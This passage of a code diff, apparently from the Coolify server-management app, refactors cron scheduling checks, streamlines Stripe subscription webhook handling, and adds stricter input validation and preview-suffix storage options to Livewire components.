// Get all servers that need cleanup checks
|
||||
|
|
@ -411,7 +365,7 @@ private function processDockerCleanups(): void
|
|||
}
|
||||
|
||||
// Use the frozen execution time for consistent evaluation
|
||||
if ($this->shouldRunNow($frequency, $serverTimezone)) {
|
||||
if (shouldRunCronNow($frequency, $serverTimezone, "docker-cleanup:{$server->id}", $this->executionTime)) {
|
||||
DockerCleanupJob::dispatch(
|
||||
$server,
|
||||
false,
|
||||
|
|
|
|||
|
|
@ -108,10 +108,6 @@ public function handle()
|
|||
public function failed(?\Throwable $exception): void
|
||||
{
|
||||
if ($exception instanceof \Illuminate\Queue\TimeoutExceededException) {
|
||||
Log::warning('ServerConnectionCheckJob timed out', [
|
||||
'server_id' => $this->server->id,
|
||||
'server_name' => $this->server->name,
|
||||
]);
|
||||
$this->server->settings->update([
|
||||
'is_reachable' => false,
|
||||
'is_usable' => false,
|
||||
|
|
@ -131,11 +127,8 @@ private function checkHetznerStatus(): void
|
|||
$serverData = $hetznerService->getServer($this->server->hetzner_server_id);
|
||||
$status = $serverData['status'] ?? null;
|
||||
|
||||
} catch (\Throwable $e) {
|
||||
Log::debug('ServerConnectionCheck: Hetzner status check failed', [
|
||||
'server_id' => $this->server->id,
|
||||
'error' => $e->getMessage(),
|
||||
]);
|
||||
} catch (\Throwable) {
|
||||
// Silently ignore — server may have been deleted from Hetzner.
|
||||
}
|
||||
if ($this->server->hetzner_server_status !== $status) {
|
||||
$this->server->update(['hetzner_server_status' => $status]);
|
||||
|
|
|
|||
|
|
@ -5,7 +5,6 @@
|
|||
use App\Models\InstanceSettings;
|
||||
use App\Models\Server;
|
||||
use App\Models\Team;
|
||||
use Cron\CronExpression;
|
||||
use Illuminate\Bus\Queueable;
|
||||
use Illuminate\Contracts\Queue\ShouldBeEncrypted;
|
||||
use Illuminate\Contracts\Queue\ShouldQueue;
|
||||
|
|
@ -80,7 +79,7 @@ private function getServers(): Collection
|
|||
private function dispatchConnectionChecks(Collection $servers): void
|
||||
{
|
||||
|
||||
if ($this->shouldRunNow($this->checkFrequency)) {
|
||||
if (shouldRunCronNow($this->checkFrequency, $this->instanceTimezone, 'server-connection-checks', $this->executionTime)) {
|
||||
$servers->each(function (Server $server) {
|
||||
try {
|
||||
// Skip SSH connection check if Sentinel is healthy — its heartbeat already proves connectivity
|
||||
|
|
@ -129,13 +128,13 @@ private function processServerTasks(Server $server): void
|
|||
|
||||
if ($sentinelOutOfSync) {
|
||||
// Dispatch ServerCheckJob if Sentinel is out of sync
|
||||
if ($this->shouldRunNow($this->checkFrequency, $serverTimezone)) {
|
||||
if (shouldRunCronNow($this->checkFrequency, $serverTimezone, "server-check:{$server->id}", $this->executionTime)) {
|
||||
ServerCheckJob::dispatch($server);
|
||||
}
|
||||
}
|
||||
|
||||
$isSentinelEnabled = $server->isSentinelEnabled();
|
||||
$shouldRestartSentinel = $isSentinelEnabled && $this->shouldRunNow('0 0 * * *', $serverTimezone);
|
||||
$shouldRestartSentinel = $isSentinelEnabled && shouldRunCronNow('0 0 * * *', $serverTimezone, "sentinel-restart:{$server->id}", $this->executionTime);
|
||||
// Dispatch Sentinel restart if due (daily for Sentinel-enabled servers)
|
||||
|
||||
if ($shouldRestartSentinel) {
|
||||
|
|
@ -149,7 +148,7 @@ private function processServerTasks(Server $server): void
|
|||
if (isset(VALID_CRON_STRINGS[$serverDiskUsageCheckFrequency])) {
|
||||
$serverDiskUsageCheckFrequency = VALID_CRON_STRINGS[$serverDiskUsageCheckFrequency];
|
||||
}
|
||||
$shouldRunStorageCheck = $this->shouldRunNow($serverDiskUsageCheckFrequency, $serverTimezone);
|
||||
$shouldRunStorageCheck = shouldRunCronNow($serverDiskUsageCheckFrequency, $serverTimezone, "server-storage-check:{$server->id}", $this->executionTime);
|
||||
|
||||
if ($shouldRunStorageCheck) {
|
||||
ServerStorageCheckJob::dispatch($server);
|
||||
|
|
@ -157,7 +156,7 @@ private function processServerTasks(Server $server): void
|
|||
}
|
||||
|
||||
// Dispatch ServerPatchCheckJob if due (weekly)
|
||||
$shouldRunPatchCheck = $this->shouldRunNow('0 0 * * 0', $serverTimezone);
|
||||
$shouldRunPatchCheck = shouldRunCronNow('0 0 * * 0', $serverTimezone, "server-patch-check:{$server->id}", $this->executionTime);
|
||||
|
||||
if ($shouldRunPatchCheck) { // Weekly on Sunday at midnight
|
||||
ServerPatchCheckJob::dispatch($server);
|
||||
|
|
@ -166,15 +165,4 @@ private function processServerTasks(Server $server): void
|
|||
// Note: CheckAndStartSentinelJob is only dispatched daily (line above) for version updates.
|
||||
// Crash recovery is handled by sentinelOutOfSync → ServerCheckJob → CheckAndStartSentinelJob.
|
||||
}
|
||||
|
||||
private function shouldRunNow(string $frequency, ?string $timezone = null): bool
|
||||
{
|
||||
$cron = new CronExpression($frequency);
|
||||
|
||||
// Use the frozen execution time, not the current time
|
||||
$baseTime = $this->executionTime ?? Carbon::now();
|
||||
$executionTime = $baseTime->copy()->setTimezone($timezone ?? config('app.timezone'));
|
||||
|
||||
return $cron->isDue($executionTime);
|
||||
}
|
||||
}
|
||||
|
|
|
|||
|
|
@ -2,6 +2,7 @@
|
|||
|
||||
namespace App\Jobs;
|
||||
|
||||
use App\Actions\Stripe\UpdateSubscriptionQuantity;
|
||||
use App\Models\Subscription;
|
||||
use App\Models\Team;
|
||||
use Illuminate\Contracts\Queue\ShouldBeEncrypted;
|
||||
|
|
@ -72,25 +73,15 @@ public function handle(): void
|
|||
// send_internal_notification("User {$userId} is not an admin or owner of team {$team->id}, customerid: {$customerId}, subscriptionid: {$subscriptionId}.");
|
||||
throw new \RuntimeException("User {$userId} is not an admin or owner of team {$team->id}, customerid: {$customerId}, subscriptionid: {$subscriptionId}.");
|
||||
}
|
||||
$subscription = Subscription::where('team_id', $teamId)->first();
|
||||
if ($subscription) {
|
||||
// send_internal_notification('Old subscription activated for team: '.$teamId);
|
||||
$subscription->update([
|
||||
Subscription::updateOrCreate(
|
||||
['team_id' => $teamId],
|
||||
[
|
||||
'stripe_subscription_id' => $subscriptionId,
|
||||
'stripe_customer_id' => $customerId,
|
||||
'stripe_invoice_paid' => true,
|
||||
'stripe_past_due' => false,
|
||||
]);
|
||||
} else {
|
||||
// send_internal_notification('New subscription for team: '.$teamId);
|
||||
Subscription::create([
|
||||
'team_id' => $teamId,
|
||||
'stripe_subscription_id' => $subscriptionId,
|
||||
'stripe_customer_id' => $customerId,
|
||||
'stripe_invoice_paid' => true,
|
||||
'stripe_past_due' => false,
|
||||
]);
|
||||
}
|
||||
]
|
||||
);
|
||||
break;
|
||||
case 'invoice.paid':
|
||||
$customerId = data_get($data, 'customer');
|
||||
|
|
@ -226,18 +217,15 @@ public function handle(): void
|
|||
// send_internal_notification("User {$userId} is not an admin or owner of team {$team->id}, customerid: {$customerId}.");
|
||||
throw new \RuntimeException("User {$userId} is not an admin or owner of team {$team->id}, customerid: {$customerId}.");
|
||||
}
|
||||
$subscription = Subscription::where('team_id', $teamId)->first();
|
||||
if ($subscription) {
|
||||
// send_internal_notification("Subscription already exists for team: {$teamId}");
|
||||
throw new \RuntimeException("Subscription already exists for team: {$teamId}");
|
||||
} else {
|
||||
Subscription::create([
|
||||
'team_id' => $teamId,
|
||||
Subscription::updateOrCreate(
|
||||
['team_id' => $teamId],
|
||||
[
|
||||
'stripe_subscription_id' => $subscriptionId,
|
||||
'stripe_customer_id' => $customerId,
|
||||
'stripe_invoice_paid' => false,
|
||||
]);
|
||||
}
|
||||
]
|
||||
);
|
||||
break;
|
||||
case 'customer.subscription.updated':
|
||||
$teamId = data_get($data, 'metadata.team_id');
|
||||
$userId = data_get($data, 'metadata.user_id');
|
||||
|
|
@ -252,34 +240,33 @@ public function handle(): void
|
|||
$subscription = Subscription::where('stripe_customer_id', $customerId)->first();
|
||||
if (! $subscription) {
|
||||
if ($status === 'incomplete_expired') {
|
||||
// send_internal_notification('Subscription incomplete expired');
|
||||
throw new \RuntimeException('Subscription incomplete expired');
|
||||
}
|
||||
if ($teamId) {
|
||||
$subscription = Subscription::create([
|
||||
'team_id' => $teamId,
|
||||
if (! $teamId) {
|
||||
throw new \RuntimeException('No subscription and team id found');
|
||||
}
|
||||
$subscription = Subscription::firstOrCreate(
|
||||
['team_id' => $teamId],
|
||||
[
|
||||
'stripe_subscription_id' => $subscriptionId,
|
||||
'stripe_customer_id' => $customerId,
|
||||
'stripe_invoice_paid' => false,
|
||||
]);
|
||||
} else {
|
||||
// send_internal_notification('No subscription and team id found');
|
||||
throw new \RuntimeException('No subscription and team id found');
|
||||
}
|
||||
]
|
||||
);
|
||||
}
|
||||
$cancelAtPeriodEnd = data_get($data, 'cancel_at_period_end');
|
||||
$feedback = data_get($data, 'cancellation_details.feedback');
|
||||
$comment = data_get($data, 'cancellation_details.comment');
|
||||
$lookup_key = data_get($data, 'items.data.0.price.lookup_key');
|
||||
if (str($lookup_key)->contains('dynamic')) {
|
||||
$quantity = data_get($data, 'items.data.0.quantity', 2);
|
||||
$quantity = min((int) data_get($data, 'items.data.0.quantity', 2), UpdateSubscriptionQuantity::MAX_SERVER_LIMIT);
|
||||
$team = data_get($subscription, 'team');
|
||||
if ($team) {
|
||||
$team->update([
|
||||
'custom_server_limit' => $quantity,
|
||||
]);
|
||||
ServerLimitCheckJob::dispatch($team);
|
||||
}
|
||||
ServerLimitCheckJob::dispatch($team);
|
||||
}
|
||||
$subscription->update([
|
||||
'stripe_feedback' => $feedback,
|
||||
|
|
|
|||
|
|
@ -82,12 +82,9 @@ public function handle(): void
|
|||
'stripe_past_due' => false,
|
||||
]);
|
||||
|
||||
// Trigger subscription ended logic if canceled
|
||||
if ($stripeSubscription->status === 'canceled') {
|
||||
$team = $this->subscription->team;
|
||||
if ($team) {
|
||||
$team->subscriptionEnded();
|
||||
}
|
||||
$team = $this->subscription->team;
|
||||
if ($team) {
|
||||
$team->subscriptionEnded();
|
||||
}
|
||||
break;
|
||||
|
||||
|
|
|
|||
|
|
@ -7,7 +7,6 @@
|
|||
use App\Support\ValidationPatterns;
|
||||
use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
|
||||
use Illuminate\Support\Collection;
|
||||
use Livewire\Attributes\Validate;
|
||||
use Livewire\Component;
|
||||
use Spatie\Url\Url;
|
||||
use Visus\Cuid2\Cuid2;
|
||||
|
|
@ -22,136 +21,95 @@ class General extends Component
|
|||
|
||||
public Collection $services;
|
||||
|
||||
#[Validate('required|regex:/^[a-zA-Z0-9\s\-_.\/:()]+$/')]
|
||||
public string $name;
|
||||
|
||||
#[Validate(['string', 'nullable'])]
|
||||
public ?string $description = null;
|
||||
|
||||
#[Validate(['nullable'])]
|
||||
public ?string $fqdn = null;
|
||||
|
||||
#[Validate(['required'])]
|
||||
public string $gitRepository;
|
||||
|
||||
#[Validate(['required'])]
|
||||
public string $gitBranch;
|
||||
|
||||
#[Validate(['string', 'nullable', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/'])]
|
||||
public ?string $gitCommitSha = null;
|
||||
|
||||
#[Validate(['string', 'nullable'])]
|
||||
public ?string $installCommand = null;
|
||||
|
||||
#[Validate(['string', 'nullable'])]
|
||||
public ?string $buildCommand = null;
|
||||
|
||||
#[Validate(['string', 'nullable'])]
|
||||
public ?string $startCommand = null;
|
||||
|
||||
#[Validate(['required'])]
|
||||
public string $buildPack;
|
||||
|
||||
#[Validate(['required'])]
|
||||
public string $staticImage;
|
||||
|
||||
#[Validate(['required'])]
|
||||
public string $baseDirectory;
|
||||
|
||||
#[Validate(['string', 'nullable'])]
|
||||
public ?string $publishDirectory = null;
|
||||
|
||||
#[Validate(['string', 'nullable'])]
|
||||
public ?string $portsExposes = null;
|
||||
|
||||
#[Validate(['string', 'nullable'])]
|
||||
public ?string $portsMappings = null;
|
||||
|
||||
#[Validate(['string', 'nullable'])]
|
||||
public ?string $customNetworkAliases = null;
|
||||
|
||||
#[Validate(['string', 'nullable'])]
|
||||
public ?string $dockerfile = null;
|
||||
|
||||
#[Validate(['string', 'nullable', 'max:255', 'regex:/^\/[a-zA-Z0-9._\-\/~@+]+$/'])]
|
||||
public ?string $dockerfileLocation = null;
|
||||
|
||||
#[Validate(['string', 'nullable'])]
|
||||
public ?string $dockerfileTargetBuild = null;
|
||||
|
||||
#[Validate(['string', 'nullable'])]
|
||||
public ?string $dockerRegistryImageName = null;
|
||||
|
||||
#[Validate(['string', 'nullable'])]
|
||||
public ?string $dockerRegistryImageTag = null;
|
||||
|
||||
#[Validate(['string', 'nullable', 'max:255', 'regex:/^\/[a-zA-Z0-9._\-\/~@+]+$/'])]
|
||||
public ?string $dockerComposeLocation = null;
|
||||
|
||||
#[Validate(['string', 'nullable'])]
|
||||
public ?string $dockerCompose = null;
|
||||
|
||||
#[Validate(['string', 'nullable'])]
|
||||
public ?string $dockerComposeRaw = null;
|
||||
|
||||
#[Validate(['string', 'nullable'])]
|
||||
public ?string $dockerComposeCustomStartCommand = null;
|
||||
|
||||
#[Validate(['string', 'nullable'])]
|
||||
public ?string $dockerComposeCustomBuildCommand = null;
|
||||
|
||||
#[Validate(['string', 'nullable'])]
|
||||
public ?string $customDockerRunOptions = null;
|
||||
|
||||
#[Validate(['string', 'nullable'])]
|
||||
// Security: pre/post deployment commands are intentionally arbitrary shell — users need full
|
||||
// flexibility (e.g. "php artisan migrate"). Access is gated by team authentication/authorization.
|
||||
// Commands execute inside the application's own container, not on the host.
|
||||
public ?string $preDeploymentCommand = null;
|
||||
|
||||
#[Validate(['string', 'nullable'])]
|
||||
public ?string $preDeploymentCommandContainer = null;
|
||||
|
||||
#[Validate(['string', 'nullable'])]
|
||||
public ?string $postDeploymentCommand = null;
|
||||
|
||||
#[Validate(['string', 'nullable'])]
|
||||
public ?string $postDeploymentCommandContainer = null;
|
||||
|
||||
#[Validate(['string', 'nullable'])]
|
||||
public ?string $customNginxConfiguration = null;
|
||||
|
||||
#[Validate(['boolean', 'required'])]
|
||||
public bool $isStatic = false;
|
||||
|
||||
#[Validate(['boolean', 'required'])]
|
||||
public bool $isSpa = false;
|
||||
|
||||
#[Validate(['boolean', 'required'])]
|
||||
public bool $isBuildServerEnabled = false;
|
||||
|
||||
#[Validate(['boolean', 'required'])]
|
||||
public bool $isPreserveRepositoryEnabled = false;
|
||||
|
||||
#[Validate(['boolean', 'required'])]
|
||||
public bool $isContainerLabelEscapeEnabled = true;
|
||||
|
||||
#[Validate(['boolean', 'required'])]
|
||||
public bool $isContainerLabelReadonlyEnabled = false;
|
||||
|
||||
#[Validate(['boolean', 'required'])]
|
||||
public bool $isHttpBasicAuthEnabled = false;
|
||||
|
||||
#[Validate(['string', 'nullable'])]
|
||||
public ?string $httpBasicAuthUsername = null;
|
||||
|
||||
#[Validate(['string', 'nullable'])]
|
||||
public ?string $httpBasicAuthPassword = null;
|
||||
|
||||
#[Validate(['nullable'])]
|
||||
public ?string $watchPaths = null;
|
||||
|
||||
#[Validate(['string', 'required'])]
|
||||
public string $redirect;
|
||||
|
||||
#[Validate(['nullable'])]
|
||||
public $customLabels;
|
||||
|
||||
public bool $labelsChanged = false;
|
||||
|
|
@ -184,33 +142,33 @@ protected function rules(): array
|
|||
'fqdn' => 'nullable',
|
||||
'gitRepository' => 'required',
|
||||
'gitBranch' => 'required',
|
||||
'gitCommitSha' => ['nullable', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/'],
|
||||
'gitCommitSha' => ['nullable', 'string', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/'],
|
||||
'installCommand' => 'nullable',
|
||||
'buildCommand' => 'nullable',
|
||||
'startCommand' => 'nullable',
|
||||
'buildPack' => 'required',
|
||||
'staticImage' => 'required',
|
||||
'baseDirectory' => 'required',
|
||||
'publishDirectory' => 'nullable',
|
||||
'baseDirectory' => array_merge(['required'], array_slice(ValidationPatterns::directoryPathRules(), 1)),
|
||||
'publishDirectory' => ValidationPatterns::directoryPathRules(),
|
||||
'portsExposes' => 'required',
|
||||
'portsMappings' => 'nullable',
|
||||
'customNetworkAliases' => 'nullable',
|
||||
'dockerfile' => 'nullable',
|
||||
'dockerRegistryImageName' => 'nullable',
|
||||
'dockerRegistryImageTag' => 'nullable',
|
||||
'dockerfileLocation' => ['nullable', 'regex:'.ValidationPatterns::FILE_PATH_PATTERN],
|
||||
'dockerComposeLocation' => ['nullable', 'regex:'.ValidationPatterns::FILE_PATH_PATTERN],
|
||||
'dockerfileLocation' => ValidationPatterns::filePathRules(),
|
||||
'dockerComposeLocation' => ValidationPatterns::filePathRules(),
|
||||
'dockerCompose' => 'nullable',
|
||||
'dockerComposeRaw' => 'nullable',
|
||||
'dockerfileTargetBuild' => 'nullable',
|
||||
'dockerComposeCustomStartCommand' => 'nullable',
|
||||
'dockerComposeCustomBuildCommand' => 'nullable',
|
||||
'dockerfileTargetBuild' => ValidationPatterns::dockerTargetRules(),
|
||||
'dockerComposeCustomStartCommand' => ValidationPatterns::shellSafeCommandRules(),
|
||||
'dockerComposeCustomBuildCommand' => ValidationPatterns::shellSafeCommandRules(),
|
||||
'customLabels' => 'nullable',
|
||||
'customDockerRunOptions' => 'nullable',
|
||||
'customDockerRunOptions' => ValidationPatterns::shellSafeCommandRules(2000),
|
||||
'preDeploymentCommand' => 'nullable',
|
||||
'preDeploymentCommandContainer' => 'nullable',
|
||||
'preDeploymentCommandContainer' => ['nullable', ...ValidationPatterns::containerNameRules()],
|
||||
'postDeploymentCommand' => 'nullable',
|
||||
'postDeploymentCommandContainer' => 'nullable',
|
||||
'postDeploymentCommandContainer' => ['nullable', ...ValidationPatterns::containerNameRules()],
|
||||
'customNginxConfiguration' => 'nullable',
|
||||
'isStatic' => 'boolean|required',
|
||||
'isSpa' => 'boolean|required',
|
||||
|
|
@ -233,6 +191,14 @@ protected function messages(): array
|
|||
[
|
||||
...ValidationPatterns::filePathMessages('dockerfileLocation', 'Dockerfile'),
|
||||
...ValidationPatterns::filePathMessages('dockerComposeLocation', 'Docker Compose'),
|
||||
'baseDirectory.regex' => 'The base directory must be a valid path starting with / and containing only safe characters.',
|
||||
'publishDirectory.regex' => 'The publish directory must be a valid path starting with / and containing only safe characters.',
|
||||
'dockerfileTargetBuild.regex' => 'The Dockerfile target build must contain only alphanumeric characters, dots, hyphens, and underscores.',
|
||||
'dockerComposeCustomStartCommand.regex' => 'The Docker Compose start command contains invalid characters. Shell operators like ;, &, |, $, and backticks are not allowed.',
|
||||
'dockerComposeCustomBuildCommand.regex' => 'The Docker Compose build command contains invalid characters. Shell operators like ;, &, |, $, and backticks are not allowed.',
|
||||
'customDockerRunOptions.regex' => 'The custom Docker run options contain invalid characters. Shell operators like ;, &, |, $, and backticks are not allowed.',
|
||||
'preDeploymentCommandContainer.regex' => 'The pre-deployment command container name must contain only alphanumeric characters, dots, hyphens, and underscores.',
|
||||
'postDeploymentCommandContainer.regex' => 'The post-deployment command container name must contain only alphanumeric characters, dots, hyphens, and underscores.',
|
||||
'name.required' => 'The Name field is required.',
|
||||
'gitRepository.required' => 'The Git Repository field is required.',
|
||||
'gitBranch.required' => 'The Git Branch field is required.',
|
||||
|
|
|
|||
|
|
@ -13,33 +13,33 @@ class Index extends Component
|
|||
|
||||
public Environment $environment;
|
||||
|
||||
public Collection $applications;
|
||||
|
||||
public Collection $postgresqls;
|
||||
|
||||
public Collection $redis;
|
||||
|
||||
public Collection $mongodbs;
|
||||
|
||||
public Collection $mysqls;
|
||||
|
||||
public Collection $mariadbs;
|
||||
|
||||
public Collection $keydbs;
|
||||
|
||||
public Collection $dragonflies;
|
||||
|
||||
public Collection $clickhouses;
|
||||
|
||||
public Collection $services;
|
||||
|
||||
public Collection $allProjects;
|
||||
|
||||
public Collection $allEnvironments;
|
||||
|
||||
public array $parameters;
|
||||
|
||||
public function mount()
|
||||
protected Collection $applications;
|
||||
|
||||
protected Collection $postgresqls;
|
||||
|
||||
protected Collection $redis;
|
||||
|
||||
protected Collection $mongodbs;
|
||||
|
||||
protected Collection $mysqls;
|
||||
|
||||
protected Collection $mariadbs;
|
||||
|
||||
protected Collection $keydbs;
|
||||
|
||||
protected Collection $dragonflies;
|
||||
|
||||
protected Collection $clickhouses;
|
||||
|
||||
protected Collection $services;
|
||||
|
||||
public function mount(): void
|
||||
{
|
||||
$this->applications = $this->postgresqls = $this->redis = $this->mongodbs = $this->mysqls = $this->mariadbs = $this->keydbs = $this->dragonflies = $this->clickhouses = $this->services = collect();
|
||||
$this->parameters = get_route_parameters();
|
||||
|
|
@ -55,31 +55,23 @@ public function mount()
|
|||
|
||||
$this->project = $project;
|
||||
|
||||
// Load projects and environments for breadcrumb navigation (avoids inline queries in view)
|
||||
// Load projects and environments for breadcrumb navigation
|
||||
$this->allProjects = Project::ownedByCurrentTeamCached();
|
||||
$this->allEnvironments = $project->environments()
|
||||
->select('id', 'uuid', 'name', 'project_id')
|
||||
->with([
|
||||
'applications.additional_servers',
|
||||
'applications.destination.server',
|
||||
'services',
|
||||
'services.destination.server',
|
||||
'postgresqls',
|
||||
'postgresqls.destination.server',
|
||||
'redis',
|
||||
'redis.destination.server',
|
||||
'mongodbs',
|
||||
'mongodbs.destination.server',
|
||||
'mysqls',
|
||||
'mysqls.destination.server',
|
||||
'mariadbs',
|
||||
'mariadbs.destination.server',
|
||||
'keydbs',
|
||||
'keydbs.destination.server',
|
||||
'dragonflies',
|
||||
'dragonflies.destination.server',
|
||||
'clickhouses',
|
||||
'clickhouses.destination.server',
|
||||
])->get();
|
||||
'applications:id,uuid,name,environment_id',
|
||||
'services:id,uuid,name,environment_id',
|
||||
'postgresqls:id,uuid,name,environment_id',
|
||||
'redis:id,uuid,name,environment_id',
|
||||
'mongodbs:id,uuid,name,environment_id',
|
||||
'mysqls:id,uuid,name,environment_id',
|
||||
'mariadbs:id,uuid,name,environment_id',
|
||||
'keydbs:id,uuid,name,environment_id',
|
||||
'dragonflies:id,uuid,name,environment_id',
|
||||
'clickhouses:id,uuid,name,environment_id',
|
||||
])
|
||||
->get();
|
||||
|
||||
$this->environment = $environment->loadCount([
|
||||
'applications',
|
||||
|
|
@ -94,11 +86,9 @@ public function mount()
|
|||
'services',
|
||||
]);
|
||||
|
||||
// Eager load all relationships for applications including nested ones
|
||||
// Eager load relationships for applications
|
||||
$this->applications = $this->environment->applications()->with([
|
||||
'tags',
|
||||
'additional_servers.settings',
|
||||
'additional_networks',
|
||||
'destination.server.settings',
|
||||
'settings',
|
||||
])->get()->sortBy('name');
|
||||
|
|
@ -160,6 +150,49 @@ public function mount()
|
|||
|
||||
public function render()
|
||||
{
|
||||
return view('livewire.project.resource.index');
|
||||
return view('livewire.project.resource.index', [
|
||||
'applications' => $this->applications,
|
||||
'postgresqls' => $this->postgresqls,
|
||||
'redis' => $this->redis,
|
||||
'mongodbs' => $this->mongodbs,
|
||||
'mysqls' => $this->mysqls,
|
||||
'mariadbs' => $this->mariadbs,
|
||||
'keydbs' => $this->keydbs,
|
||||
'dragonflies' => $this->dragonflies,
|
||||
'clickhouses' => $this->clickhouses,
|
||||
'services' => $this->services,
|
||||
'applicationsJs' => $this->toSearchableArray($this->applications),
|
||||
'postgresqlsJs' => $this->toSearchableArray($this->postgresqls),
|
||||
'redisJs' => $this->toSearchableArray($this->redis),
|
||||
'mongodbsJs' => $this->toSearchableArray($this->mongodbs),
|
||||
'mysqlsJs' => $this->toSearchableArray($this->mysqls),
|
||||
'mariadbsJs' => $this->toSearchableArray($this->mariadbs),
|
||||
'keydbsJs' => $this->toSearchableArray($this->keydbs),
|
||||
'dragonfliesJs' => $this->toSearchableArray($this->dragonflies),
|
||||
'clickhousesJs' => $this->toSearchableArray($this->clickhouses),
|
||||
'servicesJs' => $this->toSearchableArray($this->services),
|
||||
]);
|
||||
}
|
||||
|
||||
private function toSearchableArray(Collection $items): array
|
||||
{
|
||||
return $items->map(fn ($item) => [
|
||||
'uuid' => $item->uuid,
|
||||
'name' => $item->name,
|
||||
'fqdn' => $item->fqdn ?? null,
|
||||
'description' => $item->description ?? null,
|
||||
'status' => $item->status ?? '',
|
||||
'server_status' => $item->server_status ?? null,
|
||||
'hrefLink' => $item->hrefLink ?? '',
|
||||
'destination' => [
|
||||
'server' => [
|
||||
'name' => $item->destination?->server?->name ?? 'Unknown',
|
||||
],
|
||||
],
|
||||
'tags' => $item->tags->map(fn ($tag) => [
|
||||
'id' => $tag->id,
|
||||
'name' => $tag->name,
|
||||
])->values()->toArray(),
|
||||
])->values()->toArray();
|
||||
}
|
||||
}
|
||||
|
|
|
|||
|
|
@ -40,12 +40,16 @@ class FileStorage extends Component
|
|||
#[Validate(['required', 'boolean'])]
|
||||
public bool $isBasedOnGit = false;
|
||||
|
||||
#[Validate(['required', 'boolean'])]
|
||||
public bool $isPreviewSuffixEnabled = true;
|
||||
|
||||
protected $rules = [
|
||||
'fileStorage.is_directory' => 'required',
|
||||
'fileStorage.fs_path' => 'required',
|
||||
'fileStorage.mount_path' => 'required',
|
||||
'content' => 'nullable',
|
||||
'isBasedOnGit' => 'required|boolean',
|
||||
'isPreviewSuffixEnabled' => 'required|boolean',
|
||||
];
|
||||
|
||||
public function mount()
|
||||
|
|
@ -71,12 +75,14 @@ public function syncData(bool $toModel = false): void
|
|||
// Sync to model
|
||||
$this->fileStorage->content = $this->content;
|
||||
$this->fileStorage->is_based_on_git = $this->isBasedOnGit;
|
||||
$this->fileStorage->is_preview_suffix_enabled = $this->isPreviewSuffixEnabled;
|
||||
|
||||
$this->fileStorage->save();
|
||||
} else {
|
||||
// Sync from model
|
||||
$this->content = $this->fileStorage->content;
|
||||
$this->isBasedOnGit = $this->fileStorage->is_based_on_git;
|
||||
$this->isPreviewSuffixEnabled = $this->fileStorage->is_preview_suffix_enabled ?? true;
|
||||
}
|
||||
}
|
||||
|
||||
|
|
@ -175,6 +181,7 @@ public function submit()
|
|||
// Sync component properties to model
|
||||
$this->fileStorage->content = $this->content;
|
||||
$this->fileStorage->is_based_on_git = $this->isBasedOnGit;
|
||||
$this->fileStorage->is_preview_suffix_enabled = $this->isPreviewSuffixEnabled;
|
||||
$this->fileStorage->save();
|
||||
$this->fileStorage->saveStorageOnServer();
|
||||
$this->dispatch('success', 'File updated.');
|
||||
|
|
@ -187,9 +194,11 @@ public function submit()
|
|||
}
|
||||
}
|
||||
|
||||
public function instantSave()
|
||||
public function instantSave(): void
|
||||
{
|
||||
$this->submit();
|
||||
$this->authorize('update', $this->resource);
|
||||
$this->syncData(true);
|
||||
$this->dispatch('success', 'File updated.');
|
||||
}
|
||||
|
||||
public function render()
|
||||
|
|
|
|||
|
|
@ -98,6 +98,9 @@ public function getResourceProperty()
|
|||
|
||||
public function refresh()
|
||||
{
|
||||
if (! $this->env->exists || ! $this->env->fresh()) {
|
||||
return;
|
||||
}
|
||||
$this->syncData();
|
||||
$this->checkEnvs();
|
||||
}
|
||||
|
|
|
|||
|
|
@ -29,10 +29,13 @@ class Show extends Component
|
|||
|
||||
public ?string $hostPath = null;
|
||||
|
||||
public bool $isPreviewSuffixEnabled = true;
|
||||
|
||||
protected $rules = [
|
||||
'name' => 'required|string',
|
||||
'mountPath' => 'required|string',
|
||||
'hostPath' => 'string|nullable',
|
||||
'isPreviewSuffixEnabled' => 'required|boolean',
|
||||
];
|
||||
|
||||
protected $validationAttributes = [
|
||||
|
|
@ -53,11 +56,13 @@ private function syncData(bool $toModel = false): void
|
|||
$this->storage->name = $this->name;
|
||||
$this->storage->mount_path = $this->mountPath;
|
||||
$this->storage->host_path = $this->hostPath;
|
||||
$this->storage->is_preview_suffix_enabled = $this->isPreviewSuffixEnabled;
|
||||
} else {
|
||||
// Sync FROM model (on load/refresh)
|
||||
$this->name = $this->storage->name;
|
||||
$this->mountPath = $this->storage->mount_path;
|
||||
$this->hostPath = $this->storage->host_path;
|
||||
$this->isPreviewSuffixEnabled = $this->storage->is_preview_suffix_enabled ?? true;
|
||||
}
|
||||
}
|
||||
|
||||
|
|
@ -67,6 +72,16 @@ public function mount()
|
|||
$this->isReadOnly = $this->storage->shouldBeReadOnlyInUI();
|
||||
}
|
||||
|
||||
public function instantSave(): void
|
||||
{
|
||||
$this->authorize('update', $this->resource);
|
||||
$this->validate();
|
||||
|
||||
$this->syncData(true);
|
||||
$this->storage->save();
|
||||
$this->dispatch('success', 'Storage updated successfully');
|
||||
}
|
||||
|
||||
public function submit()
|
||||
{
|
||||
$this->authorize('update', $this->resource);
|
||||
|
|
|
|||
|
|
@ -6,6 +6,7 @@
|
|||
use App\Support\ValidationPatterns;
|
||||
use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
use Livewire\Attributes\On;
|
||||
use Livewire\Component;
|
||||
|
||||
class Form extends Component
|
||||
|
|
@ -131,19 +132,7 @@ public function testConnection()
|
|||
}
|
||||
}
|
||||
|
||||
public function delete()
|
||||
{
|
||||
try {
|
||||
$this->authorize('delete', $this->storage);
|
||||
|
||||
$this->storage->delete();
|
||||
|
||||
return redirect()->route('storage.index');
|
||||
} catch (\Throwable $e) {
|
||||
return handleError($e, $this);
|
||||
}
|
||||
}
|
||||
|
||||
#[On('submitStorage')]
|
||||
public function submit()
|
||||
{
|
||||
try {
|
||||
|
|
|
|||
85
app/Livewire/Storage/Resources.php
Normal file
85
app/Livewire/Storage/Resources.php
Normal file
|
|
@ -0,0 +1,85 @@
|
|||
<?php
|
||||
|
||||
namespace App\Livewire\Storage;
|
||||
|
||||
use App\Models\S3Storage;
|
||||
use App\Models\ScheduledDatabaseBackup;
|
||||
use Livewire\Component;
|
||||
|
||||
class Resources extends Component
|
||||
{
|
||||
public S3Storage $storage;
|
||||
|
||||
public array $selectedStorages = [];
|
||||
|
||||
public function mount(): void
|
